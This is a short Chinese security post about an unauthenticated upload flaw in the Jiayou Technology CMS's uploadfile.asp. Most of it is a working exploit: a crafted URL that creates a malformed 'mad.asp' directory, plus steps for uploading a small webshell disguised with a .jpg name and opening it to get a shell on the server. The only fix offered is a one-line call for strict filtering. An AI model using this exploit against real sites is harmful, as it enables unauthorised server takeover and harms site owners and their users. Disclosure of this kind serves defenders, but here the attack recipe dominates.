嘉友科技cms上传漏洞及修复 - 网站安全 - 自学p

程序采用的上传页uploadfile.asp未进行验证，导致建立畸形目录上传图片木马获取shell 漏洞 。 exp：http://www.2cto.com /admin/uploadfile. asp ?uppath=mad.asp&upname=&uptext=form1.mad.asp

他原上传目录是:http://www.2cto.com /uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath

而且他的上传文件没有过滤导致未授权访问。

直接上传小马 然后小马后面写为 1.jpg  访问路径 查看源代码 修复：严格过滤

查看更多关于嘉友科技cms上传漏洞及修复 - 网站安全 - 自学p的详细内容...